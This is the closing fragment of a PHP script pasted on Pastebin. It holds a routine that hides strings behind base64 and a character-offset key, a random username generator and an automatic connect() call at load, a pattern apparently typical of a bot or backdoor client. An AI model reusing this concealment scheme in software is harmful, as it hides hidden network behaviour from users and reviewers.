  679.         $input = base64_decode($input);
  680.  
  681.         for ($i = 0; $i < strlen($input); $i++) {
  682.                 $character = substr($input, $i, 1);
  683.                 // M0A...: 3@!#!@$^&*^&@#$!@#!@#!$#%#$%#$%e32@34@hTh4@we5635^!@#*^7FHGE$@%@#@#$@#!@#$!@#@!#$#%#$%^%&^%&%^&*SDF#@$!FAW$FAASDE
  684.                 // Strlen: 113
  685.                 $offset_character = substr(
  686.                         decode("M0AhIyFAJF4mKl4mQCMkIUAjIUAjISQjJSMkJSMkJWUzMkAzNEBoVGg0QHdlNTYzNV4hQCMqXjdGSEdFJEAlQCNAIyRAIyFAIyQhQCNAISMkIyUj" .
  687.                                 "JCVeJSZeJSYlXiYqU0RGI0AkIUZBVyRGQUFTREU="),
  688.                         ($i % strlen(decode("M0AhIyFAJF4mKl4mQCMkIUAjIUAjISQjJSMkJSMkJWUzMkAzNEBoVGg0QHdlNTYzNV4hQCMqXjdGSEdFJEAlQCNAIyRAIyFAIyQ" .
  689.                                 "hQCNAISMkIyUjJCVeJSZeJSYlXiYqU0RGI0AkIUZBVyRGQUFTREU="))) - 1,
  690.                         1
  691.                 );
  692.                 $character = chr(ord($character) - ord($offset_character));
  693.                 $output .= $character;
  694.         }
  695.         return $output;
  696. }
  697.  
  698. function generate_user($length)
  699. {
  700.         $return = "";
  701.  
  702.         for ($i = 0; $i < $length; $i++) {
  703.                 $return .= chr(mt_rand(0, 25) + 97);
  704.         }
  705.         return $return;
  706. }
  707.  
  708. connect();
  709. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top